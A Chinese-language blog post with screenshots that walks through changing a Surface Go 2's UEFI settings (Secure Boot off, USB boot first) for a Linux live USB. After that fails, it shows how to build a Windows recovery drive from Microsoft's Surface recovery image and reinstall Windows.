<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhPW8Xh7LWys76QVpffBtGPYcYcGNQ6NAr73lQ5bWzFhUXS0489vrYWaH1jdwUt0hiiuDGtrNwBfXii-0oPxGyWvQl9NYLeG0Wzhbe7GRO4ysFJm-4Xek9Z-E-8bW7uJW4VAMyPw2TlItkr-qwDCxo0BVhgZB_hRbHHX5_cn0DkGfuAlKYV6KJaqBEgAc/w0/linux-on-surface-go-2-001.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhPW8Xh7LWys76QVpffBtGPYcYcGNQ6NAr73lQ5bWzFhUXS0489vrYWaH1jdwUt0hiiuDGtrNwBfXii-0oPxGyWvQl9NYLeG0Wzhbe7GRO4ysFJm-4Xek9Z-E-8bW7uJW4VAMyPw2TlItkr-qwDCxo0BVhgZB_hRbHHX5_cn0DkGfuAlKYV6KJaqBEgAc/w600/linux-on-surface-go-2-001.jpg"/></a></div>
<p>在下 <span class="mra-highlighter">強制關機</span> 後, <span class="mra-highlighter">按實音量增加 後 按開關機掣</span> ,直至進入 <span class="mra-highlighter">UEFI模式</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnpgZ0YV0t_FwMrdHO4uM0vn5QxlP4zheJ-JAvRMGjLfvCJVS2CmZuA5_eUYvhXfh4TPMtuxSrQwtGp5k-79vuPg0XuhMkuCiTXICZb1HAiHtEcJQF6qjAZ6WHeLBO_YOnEysDyrT3NugFWRV69QuPKDmT8Zoga51qvp0D5cuO2-UpZHM9FkuDgKmmXuc/w0/linux-on-surface-go-2-002.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnpgZ0YV0t_FwMrdHO4uM0vn5QxlP4zheJ-JAvRMGjLfvCJVS2CmZuA5_eUYvhXfh4TPMtuxSrQwtGp5k-79vuPg0XuhMkuCiTXICZb1HAiHtEcJQF6qjAZ6WHeLBO_YOnEysDyrT3NugFWRV69QuPKDmT8Zoga51qvp0D5cuO2-UpZHM9FkuDgKmmXuc/w600/linux-on-surface-go-2-002.jpg"/></a></div>
<p>在 <span class="mra-highlighter">Security</span> 中,將 <span class="mra-highlighter">Secure Boot 設定為 Disabled</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhguJk91EuK6CNM49_JV5ubu0xJy4PQ9R11X0ASJByMWoAg74MughZinE6kPpUTQmETNBOaiCkXH04tVqKM4FZQP7Ymx6rmqcRU8OolI-84-f5ZHETsgT65BwuvSUB2ECn1loWXtp2qdMW2EPE_NwA8wEBfQPb4XD5kx1kFovVG6o8iiXfh7LaMFcfBZT4/w0/linux-on-surface-go-2-003.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhguJk91EuK6CNM49_JV5ubu0xJy4PQ9R11X0ASJByMWoAg74MughZinE6kPpUTQmETNBOaiCkXH04tVqKM4FZQP7Ymx6rmqcRU8OolI-84-f5ZHETsgT65BwuvSUB2ECn1loWXtp2qdMW2EPE_NwA8wEBfQPb4XD5kx1kFovVG6o8iiXfh7LaMFcfBZT4/w600/linux-on-surface-go-2-003.jpg"/></a></div>
<div>
<ul>
<li><span class="mra-highlighter">在 Boot configuration 中</span>
<ul>
<li><span class="mra-highlighter">Enable Boot from USB devices 設定為 Enabled</span></li>
<li><span class="mra-highlighter">Enable Boot Configuration Lock 設定為 Disabled</span></li>
<li><span class="mra-highlighter">Configure boot device order 設定 USB Storage 為第一</span></li>
</ul>
</li>
</ul>
</div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF3HWtb2ObiUlI_9tHyxPSQCyEE1pp4sA-nxdTC1ReIrvyy2YozuF6dcla6Te2WPAcSAj2v_bLqe-Usayjff6WJeu7V4UYCgAsMiwD2y9IBBBiR5bYY1tDCfUW9aCUn68eJGuVTaPpYDkBb3Yj4k53fhuy9ejqHYEuIQpBZu4RAUPyoTDzLKLlWQDTIoE/w0/linux-on-surface-go-2-004.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF3HWtb2ObiUlI_9tHyxPSQCyEE1pp4sA-nxdTC1ReIrvyy2YozuF6dcla6Te2WPAcSAj2v_bLqe-Usayjff6WJeu7V4UYCgAsMiwD2y9IBBBiR5bYY1tDCfUW9aCUn68eJGuVTaPpYDkBb3Yj4k53fhuy9ejqHYEuIQpBZu4RAUPyoTDzLKLlWQDTIoE/w600/linux-on-surface-go-2-004.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9baMXkhZ_6fr-GsDgZlgZGptZCOpFrCtcJUffgBi40GuImXPdMPNltR-1gAj5NhBPu4FianUrPuxB_wNEvaGSHZsgJClTtWdbCBRMPiB-xPWqOsxaVSQXgscN4ztmVt0JikyIQvH_wwglaA4srlLlsPdHLCoSdqBObYJX4Krz3AfWyYcsRp0rnYbK9wQ/w0/linux-on-surface-go-2-005.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9baMXkhZ_6fr-GsDgZlgZGptZCOpFrCtcJUffgBi40GuImXPdMPNltR-1gAj5NhBPu4FianUrPuxB_wNEvaGSHZsgJClTtWdbCBRMPiB-xPWqOsxaVSQXgscN4ztmVt0JikyIQvH_wwglaA4srlLlsPdHLCoSdqBObYJX4Krz3AfWyYcsRp0rnYbK9wQ/w600/linux-on-surface-go-2-005.jpg"/></a></div>
<p>最後到 <span class="mra-highlighter">Exit 按 Restart Now</span> 便會將設定值儲存並重新開機</p>
<p>但即使設定 <span class="mra-highlighter">USB Storage 為第一起動裝置,仍然無法載入到 Linux Live Boot USB</span></p>
<p>在下估計 Surface Go 2 的 USB Storage 起動,<span class="mra-highlighter">只接受 Windows起動裝置</span> ,其他 起動設備 無法在 Surface Go 2 以 USB Storage 起動<br/>
需要在 Windows 的 <span class="mra-highlighter">設定</span> > <span class="mra-highlighter">更新</span> > <span class="mra-highlighter">復原</span> 中,重新開機後才能使用其他 起動設備<br/>
因此還是需要重新安裝 Windows 到 Surface Go 2</p>
<p>需要使用 Windows 7 或以上版本才能製作 Windows起動裝置</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaHnMYSLWVkY-VPKoKngYZwszcxB0RrW-QmdeM2_OFZ8h23EAhgpodNFjTyWzd1qgd9srq2kMXaDhUKsEDbMzppXJ1OTIDR5xS_mcM5NaGFsZ5g2ZTomBb-WOsL63M3-7lUV53BP64Vqap_vvoTOe6a5o6UV-HDeXkUsZuLyFoRJ3obUyFBNpfWN7xP9o/w0/linux-on-surface-go-2-006.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaHnMYSLWVkY-VPKoKngYZwszcxB0RrW-QmdeM2_OFZ8h23EAhgpodNFjTyWzd1qgd9srq2kMXaDhUKsEDbMzppXJ1OTIDR5xS_mcM5NaGFsZ5g2ZTomBb-WOsL63M3-7lUV53BP64Vqap_vvoTOe6a5o6UV-HDeXkUsZuLyFoRJ3obUyFBNpfWN7xP9o/w600/linux-on-surface-go-2-006.png"/></a></div>
<p>使用 Windows 內置的 <span class="mra-highlighter">修復磁碟機</span> 功能製作 Windows起動裝置</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwk1okgZQa_WXWgU7XTi3Zp6rZaPfbv50kfLByC95Sfc-o191UQsQGJHpSXpNCjFVQRAhLgasoWderfSc_QE1umnMxwnqklaXcaCULwBe1_Y_061N-pYSj-WBj5wRVdRZwuLBUvtPFJH9RPROzHrlpbNcaexP3-0h3odyt0dHsyjP7hK9FUZqiR86aEH8/w0/linux-on-surface-go-2-007.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwk1okgZQa_WXWgU7XTi3Zp6rZaPfbv50kfLByC95Sfc-o191UQsQGJHpSXpNCjFVQRAhLgasoWderfSc_QE1umnMxwnqklaXcaCULwBe1_Y_061N-pYSj-WBj5wRVdRZwuLBUvtPFJH9RPROzHrlpbNcaexP3-0h3odyt0dHsyjP7hK9FUZqiR86aEH8/w600/linux-on-surface-go-2-007.png"/></a></div>
<p>由於只需要製作 Windows起動裝置 ,因此 <span class="mra-highlighter">不需要備份資料</span><br/>
所以不需要選取 <span class="mra-highlighter">將系統當備份到修復磁碟機。</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicagxXTWOcm3WMmYw9WuyhyQjIwxr77v-OpciFji0f1buXVR48Y0xI3KtxYWmdrRPthURhx95wuHYhd1iGy7J9ZFfYC978qlm8yIQ8IQqbztwRj5eYMq9rth3JLQybe02KT9t63Il1bqcr4KnCMKM3eKJfOG_24iWfFjf6ECswZmL4BIwHg66kfe0lsLE/w0/linux-on-surface-go-2-008.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicagxXTWOcm3WMmYw9WuyhyQjIwxr77v-OpciFji0f1buXVR48Y0xI3KtxYWmdrRPthURhx95wuHYhd1iGy7J9ZFfYC978qlm8yIQ8IQqbztwRj5eYMq9rth3JLQybe02KT9t63Il1bqcr4KnCMKM3eKJfOG_24iWfFjf6ECswZmL4BIwHg66kfe0lsLE/w600/linux-on-surface-go-2-008.png"/></a></div>
<p>尋找可以製作 Windows起動裝置</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVfQRzWwxIRduBA1SKpf3y82veIz99Zgk0jDUZDuWvxDo93BDxQZxcogQz1_o_aQJ2zr4WEuCrHmShJ2LXu8410NG3kNu7C8HeEnVMSusm5OydCirMGN7-3AHeM48kty69RKU78PsD9p9cTjrs_TUPbJA1aH-6jlDsquEqS3UmWhLJFmeAWWOuFQtayL0/w0/linux-on-surface-go-2-009.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVfQRzWwxIRduBA1SKpf3y82veIz99Zgk0jDUZDuWvxDo93BDxQZxcogQz1_o_aQJ2zr4WEuCrHmShJ2LXu8410NG3kNu7C8HeEnVMSusm5OydCirMGN7-3AHeM48kty69RKU78PsD9p9cTjrs_TUPbJA1aH-6jlDsquEqS3UmWhLJFmeAWWOuFQtayL0/w600/linux-on-surface-go-2-009.png"/></a></div>
<p>選擇製作 Windows起動裝置 的 USB儲存裝置<br/>
(建議 <span class="mra-highlighter">USB儲存裝置 的容量最少有 16 GB</span>)</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtxlPxu0yVvOowOCDtKmBRn6ZEyeJlyySo6QkXDXOPjTrH97yUM_ap8fsjXIobpcJii_7MC66_sFZDxlQtVKpacRzTP5vP_26_uZjheuhS0WpiMMj0rEI5I8Pe7TJjyEK5itAX_SqbjbyI43vKuQzbikhbrg61Q3TRHWL4oGB8OBViq6uOgIx3OOP-Xvc/w0/linux-on-surface-go-2-010.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtxlPxu0yVvOowOCDtKmBRn6ZEyeJlyySo6QkXDXOPjTrH97yUM_ap8fsjXIobpcJii_7MC66_sFZDxlQtVKpacRzTP5vP_26_uZjheuhS0WpiMMj0rEI5I8Pe7TJjyEK5itAX_SqbjbyI43vKuQzbikhbrg61Q3TRHWL4oGB8OBViq6uOgIx3OOP-Xvc/w600/linux-on-surface-go-2-010.png"/></a></div>
<p>製作 Windows起動裝置 會將 USB儲存裝置 所有資料清除</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE9qsvRutK7Jik6TV3Hjmy9QenMO7rVMpe1Haw6uEOJHxUJMnDG502S5wX6qs3tf4ydLoCtMiWi8lf5C1Lxog8doY3N9pie91sVltDgjOBud2Py-NlEBdQ4SXte3DO6vjsCK3D_gr0pQ_WsnJh-OVGvh84e_SDYWRM8Yeg7m1f2pPYDcbYYL_dXL0iTdE/w0/linux-on-surface-go-2-011.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE9qsvRutK7Jik6TV3Hjmy9QenMO7rVMpe1Haw6uEOJHxUJMnDG502S5wX6qs3tf4ydLoCtMiWi8lf5C1Lxog8doY3N9pie91sVltDgjOBud2Py-NlEBdQ4SXte3DO6vjsCK3D_gr0pQ_WsnJh-OVGvh84e_SDYWRM8Yeg7m1f2pPYDcbYYL_dXL0iTdE/w600/linux-on-surface-go-2-011.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKsxL-FvE874MhlVs6aE4mKkGyJBLUS0113ait7hb8Te_XrXUqbWydfxoB5diElYivSMgXeEFMXeoPUBu7dZtOFajF1m3pqng09L0UpCV09HAq9iLpW0MB23a4g9W7rAtbHVP850xVOZbCwv0bZPLmq_Uk2lfBuhvr4WWZbq2Y4M1MpM_iX77Rjhwpxjw/w0/linux-on-surface-go-2-012.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKsxL-FvE874MhlVs6aE4mKkGyJBLUS0113ait7hb8Te_XrXUqbWydfxoB5diElYivSMgXeEFMXeoPUBu7dZtOFajF1m3pqng09L0UpCV09HAq9iLpW0MB23a4g9W7rAtbHVP850xVOZbCwv0bZPLmq_Uk2lfBuhvr4WWZbq2Y4M1MpM_iX77Rjhwpxjw/w600/linux-on-surface-go-2-012.png"/></a></div>
<p>等待 Windows起動裝置 製作完成</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiypzzcRC6TJ7fSSiJsBw3CXu0w_3gLfp2n1i1bfROw4_j6R47uGqaiGsqwEsSxH_CnMsnLquB1c4121BOiAYxWoFBs2L6Hh5CS4vY4dFpKP6IhBI8KNP852Lonl_O4pSPjXMUUbkaIDma7JtdwHLuHY6nPS3eKN3EKQlcKeU7izoVxuRngbuy8JMm3xSQ/w0/linux-on-surface-go-2-016.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiypzzcRC6TJ7fSSiJsBw3CXu0w_3gLfp2n1i1bfROw4_j6R47uGqaiGsqwEsSxH_CnMsnLquB1c4121BOiAYxWoFBs2L6Hh5CS4vY4dFpKP6IhBI8KNP852Lonl_O4pSPjXMUUbkaIDma7JtdwHLuHY6nPS3eKN3EKQlcKeU7izoVxuRngbuy8JMm3xSQ/w600/linux-on-surface-go-2-016.jpg"/></a></div>
<p>製作 Windows起動裝置 後,還需要 <span class="mra-highlighter">支援 Surface Go 2 的 Windows映像檔</span></p>
<p>先查看 Surface Go 2 的 <span class="mra-highlighter">序列號碼</span> , 序列號碼 <span class="mra-highlighter">隱藏在 Surface Go 2 的支架後的機背上</span><br/>
(其實在 UEFI模式 中都能夠查看,只是即使沒有記下,仍然可以在機身找到)</p>
<p>支援 Surface Go 2 的 Windows映像檔 到 <a href="https://support.microsoft.com/surface-recovery-image">https://support.microsoft.com/surface-recovery-image</a> 下載<br/>
(需要以 Microsoft 帳戶登入才能選取及下載 Surface Go 2 的 Windows映像檔)</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh57Z90Xg1w7xmpEK_GuTJzOf4K7rgTa5EpwlPKHiW7o3sbz7WOll8Jl5PGs6oOBdc8t_dWBkUzkU6MPBHKKt6vniXraGnOXAZ9aekqGTa276-5vyokRUdjWkMCTDtPEkfCE6QVsv6EEu_Z3hC53LCOj69Y86Nb_qMcudqlLB-bthQhR5KHtwO66ZEUUDQ/w0/linux-on-surface-go-2-017.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh57Z90Xg1w7xmpEK_GuTJzOf4K7rgTa5EpwlPKHiW7o3sbz7WOll8Jl5PGs6oOBdc8t_dWBkUzkU6MPBHKKt6vniXraGnOXAZ9aekqGTa276-5vyokRUdjWkMCTDtPEkfCE6QVsv6EEu_Z3hC53LCOj69Y86Nb_qMcudqlLB-bthQhR5KHtwO66ZEUUDQ/w600/linux-on-surface-go-2-017.png"/></a></div>
<p>登入後,選擇合適的版本,例如在下使用 Surface Go 2<br/>
然後輸入裝置的序列號碼</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH5McDRvjl5CfVr7njdehPvVK3l-FHVceVM5dilKtDJSqhyFWAJ6Qn8895kTCL-UViIL8tLj6CiRvhKAcfx2_Q4O4PMxm49geP5ae5kTRq7aIDUaxp14XVnOVutyDgBEgQq112lWGTxu11sG9fYLIZAXxdhlAD1Fdrjw1F3xar0dR9VZ3MybWeinH6SYk/w0/linux-on-surface-go-2-018.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH5McDRvjl5CfVr7njdehPvVK3l-FHVceVM5dilKtDJSqhyFWAJ6Qn8895kTCL-UViIL8tLj6CiRvhKAcfx2_Q4O4PMxm49geP5ae5kTRq7aIDUaxp14XVnOVutyDgBEgQq112lWGTxu11sG9fYLIZAXxdhlAD1Fdrjw1F3xar0dR9VZ3MybWeinH6SYk/w600/linux-on-surface-go-2-018.png"/></a></div>
<p>便可以選取下載的版本</p>
<p>由於 <span class="mra-highlighter">檔案容量大約 9 GB</span> ,因此下載時間需要一段時間<br/>
而且還要將檔案解壓縮,需要的時間比較長</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKOmZzw6ZPrAYYJGh75VHZskh3kOUbnyQUEqFYab9PhqfUL4Q0c79PuuaShV7flI19aNtdfThRroHQ0RiZW9Mldaq19A1x5istOcHb1Da6jsY9-MRsF1-coJsXfC3JCvqylLraoB8WZ6xs-1yTTQvFKtg19RFzz39u6lJuUGx7Tm0Bk41K1KSspPtwRik/w0/linux-on-surface-go-2-013.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKOmZzw6ZPrAYYJGh75VHZskh3kOUbnyQUEqFYab9PhqfUL4Q0c79PuuaShV7flI19aNtdfThRroHQ0RiZW9Mldaq19A1x5istOcHb1Da6jsY9-MRsF1-coJsXfC3JCvqylLraoB8WZ6xs-1yTTQvFKtg19RFzz39u6lJuUGx7Tm0Bk41K1KSspPtwRik/w600/linux-on-surface-go-2-013.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTydVCq7WWzc2bvhLVL35zZ5KGNdGeognjmBxGoBBxo6QlXrmvZusFVfxEWoFXbFLW6-pj39vCbQcj-Wzq-ztd-y7Lz6Fa3f3CbgjgzJWo29qjN6FQcjv0bC_-txoKXpdOquQp4ZBEDNcKcg4_veAomGR1xf42uZYAdsV8E92_W9ZHjpDu3onfqfarPak/w0/linux-on-surface-go-2-014.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTydVCq7WWzc2bvhLVL35zZ5KGNdGeognjmBxGoBBxo6QlXrmvZusFVfxEWoFXbFLW6-pj39vCbQcj-Wzq-ztd-y7Lz6Fa3f3CbgjgzJWo29qjN6FQcjv0bC_-txoKXpdOquQp4ZBEDNcKcg4_veAomGR1xf42uZYAdsV8E92_W9ZHjpDu3onfqfarPak/w600/linux-on-surface-go-2-014.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUo3o4-SohQvGD_fgUPskKozh1XXPqmpkUtj4vn7XkHmY1d76vSLIZ-Zq3FmJLJyrD9bhHayoF0p0GNZV1Hh0Mt5OJPf7qM2hoNkAF88mLnk93ya1a6pzNYD73_cYXuKHFVyWaUx4ISgbc001DC8AfvELkQ3hiss660_R1tJX7yTp2WigLotZJdhTKE2g/w0/linux-on-surface-go-2-015.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUo3o4-SohQvGD_fgUPskKozh1XXPqmpkUtj4vn7XkHmY1d76vSLIZ-Zq3FmJLJyrD9bhHayoF0p0GNZV1Hh0Mt5OJPf7qM2hoNkAF88mLnk93ya1a6pzNYD73_cYXuKHFVyWaUx4ISgbc001DC8AfvELkQ3hiss660_R1tJX7yTp2WigLotZJdhTKE2g/w600/linux-on-surface-go-2-015.png"/></a></div>
<p>檔案解壓縮後,將 <span class="mra-highlighter">所有檔案複製到 Windows起動裝置 的 根目錄 位置</span><br/>
如果 <span class="mra-highlighter">有檔案重覆需要合併或取代,選 確定 即可</span><br/>
(同樣需要較長時間的操作)</p>
<p>複製完成後,便可以將 Windows起動裝置 接駁到 Surface Go 2 便可以 <span class="mra-highlighter">載入到修復模式</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUZMb39Tc5lpDmalcfMxWbYMQ0YBuY80yiFVABDanvgWRfuYzMm1jfrZ23WsYhQ8-g3aB5a8NBPrKYPP8_t9Z-_OPJZUV8JeWnfC1ae_t9xX49nVMGLRa5d7uOpIMh8yNnTDTKDkp4AFwKPDYZJDYm-o9bHriM-PqBwdjHTwpEG2LC9rhWoFMlHogq9Is/w0/linux-on-surface-go-2-019.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUZMb39Tc5lpDmalcfMxWbYMQ0YBuY80yiFVABDanvgWRfuYzMm1jfrZ23WsYhQ8-g3aB5a8NBPrKYPP8_t9Z-_OPJZUV8JeWnfC1ae_t9xX49nVMGLRa5d7uOpIMh8yNnTDTKDkp4AFwKPDYZJDYm-o9bHriM-PqBwdjHTwpEG2LC9rhWoFMlHogq9Is/w600/linux-on-surface-go-2-019.jpg"/></a></div>
<p>選擇需要的語言</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV5bIqF9uwaG3uRQkLiCS1NU-6qsyAhT6mRxul5_RssxETjtSuR4CLn2MCM2N7CfpS7ZxNJqzwFmMgzyjNYbmB6PE4flT-rm1nYfmIq6d925-fGZ3xHG8K4VNjasBhdgWk2Ho4X5yhtpFVBgF7X8medCjg4FM06Wtyg6GPSYS25IYqn0L3O3UX7xAawgM/w0/linux-on-surface-go-2-020.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV5bIqF9uwaG3uRQkLiCS1NU-6qsyAhT6mRxul5_RssxETjtSuR4CLn2MCM2N7CfpS7ZxNJqzwFmMgzyjNYbmB6PE4flT-rm1nYfmIq6d925-fGZ3xHG8K4VNjasBhdgWk2Ho4X5yhtpFVBgF7X8medCjg4FM06Wtyg6GPSYS25IYqn0L3O3UX7xAawgM/w600/linux-on-surface-go-2-020.jpg"/></a></div>
<p>選擇需要的鍵盤佈局,在下建議使用 <span class="mra-highlighter">英文US</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfYNzTxryHkeDu3NTLKO97YjyEkJsK2uYTrQfjShMCiKEpQmvk3jIqt6hQg4-_iioo7DloBu5OoeJb8PbAWqkXvMjU1fHynkYiy8SuGTbq7FOMLpEsQMBNQ_fR4AaaqV_ESMBVvesZY9dnukdxsJU-s1-AqXHGLeCrQ_vUEEZpSLmk1j_3Ciu5mYKkjlQ/w0/linux-on-surface-go-2-021.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfYNzTxryHkeDu3NTLKO97YjyEkJsK2uYTrQfjShMCiKEpQmvk3jIqt6hQg4-_iioo7DloBu5OoeJb8PbAWqkXvMjU1fHynkYiy8SuGTbq7FOMLpEsQMBNQ_fR4AaaqV_ESMBVvesZY9dnukdxsJU-s1-AqXHGLeCrQ_vUEEZpSLmk1j_3Ciu5mYKkjlQ/w600/linux-on-surface-go-2-021.jpg"/></a></div>
<p>選擇 <span class="mra-highlighter">從磁碟機復原</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq-mZ3ZXVQB6l3CxCjP85Gur1-nPZpABqW4FEgpSU5XsGaPzN7S4v6mg0EutrK1zTHzrRTh-txH6wDGdJXPr2BI9_2sVmG6-mYy98wjvysbObnKr-XSKUP8tHDN5_vV8mUottY_3iaX_p67M_kDUiiKZz_gePs-N5NdwvhTXbtk_IymYict1oItl1x6iI/w0/linux-on-surface-go-2-022.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq-mZ3ZXVQB6l3CxCjP85Gur1-nPZpABqW4FEgpSU5XsGaPzN7S4v6mg0EutrK1zTHzrRTh-txH6wDGdJXPr2BI9_2sVmG6-mYy98wjvysbObnKr-XSKUP8tHDN5_vV8mUottY_3iaX_p67M_kDUiiKZz_gePs-N5NdwvhTXbtk_IymYict1oItl1x6iI/w600/linux-on-surface-go-2-022.jpg"/></a></div>
<p>如果資料不需要保留,選擇 <span class="mra-highlighter">完全清除磁碟機</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiypDiop0q9u1WpQZ3sbjO-_mpKY_N9X7__w_SKemkD7kTEeKtisXMI-2zlfgHRqtKWFk_os_I2nW3JTXky1PxLC_c-JzYSXTV2UpkeFxOUOp3c1LS9a2KNT4Sle235mzyHjoVXVXVeuGHGo1J7dDRyLVFMBhXxLmSmgKP_Bj9Ms9S7I8hCI6u_ugObIOg/w0/linux-on-surface-go-2-023.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiypDiop0q9u1WpQZ3sbjO-_mpKY_N9X7__w_SKemkD7kTEeKtisXMI-2zlfgHRqtKWFk_os_I2nW3JTXky1PxLC_c-JzYSXTV2UpkeFxOUOp3c1LS9a2KNT4Sle235mzyHjoVXVXVeuGHGo1J7dDRyLVFMBhXxLmSmgKP_Bj9Ms9S7I8hCI6u_ugObIOg/w600/linux-on-surface-go-2-023.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7StvqWr9OeasMKSdfNEW5KJRD64nxBtyDZTTeq47RjFaXkC5jxHR05tXtDAz3LhlIiV38biZbbcHoAaVyzC7oiYeoMFz-nZMoOEtZ7d8cBD6jjs8tg8TYn1gpCAcFa4kL06Z-D3UCxXXr2NlKKCHPDJgnAN5r6DNE9V4tGPQhwarQ6sKPPRqiyfebxYo/w0/linux-on-surface-go-2-024.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7StvqWr9OeasMKSdfNEW5KJRD64nxBtyDZTTeq47RjFaXkC5jxHR05tXtDAz3LhlIiV38biZbbcHoAaVyzC7oiYeoMFz-nZMoOEtZ7d8cBD6jjs8tg8TYn1gpCAcFa4kL06Z-D3UCxXXr2NlKKCHPDJgnAN5r6DNE9V4tGPQhwarQ6sKPPRqiyfebxYo/w600/linux-on-surface-go-2-024.jpg"/></a></div>
<p>按 <span class="mra-highlighter">復原</span> 確定執行 <span class="mra-highlighter">復原程序</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih7Wz-a7b277KIy6eJ-oRMc630D0ZeIif2jQGrQFOzn21PIRQMPeRw9zxq81UCtaMuMnRk0IIqy63Aj90Qour3cgltfDVhWxPdZaoOoU4OiCJ-23fnTrVY69fvyiVXvwZJRaXujBLSbbYbP5yy5VDnNEQ_Ozbh4FgHCEt-RVX4XNOTr1Z9zmSsKoXGDR4/w0/linux-on-surface-go-2-025.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih7Wz-a7b277KIy6eJ-oRMc630D0ZeIif2jQGrQFOzn21PIRQMPeRw9zxq81UCtaMuMnRk0IIqy63Aj90Qour3cgltfDVhWxPdZaoOoU4OiCJ-23fnTrVY69fvyiVXvwZJRaXujBLSbbYbP5yy5VDnNEQ_Ozbh4FgHCEt-RVX4XNOTr1Z9zmSsKoXGDR4/w600/linux-on-surface-go-2-025.jpg"/></a></div>
<p>然後就是等待 Windows起動裝置 將資料複製到 Surface Go 2 ,完成後會自動重新開機<br/>
(時間大約 30分鐘)</p>
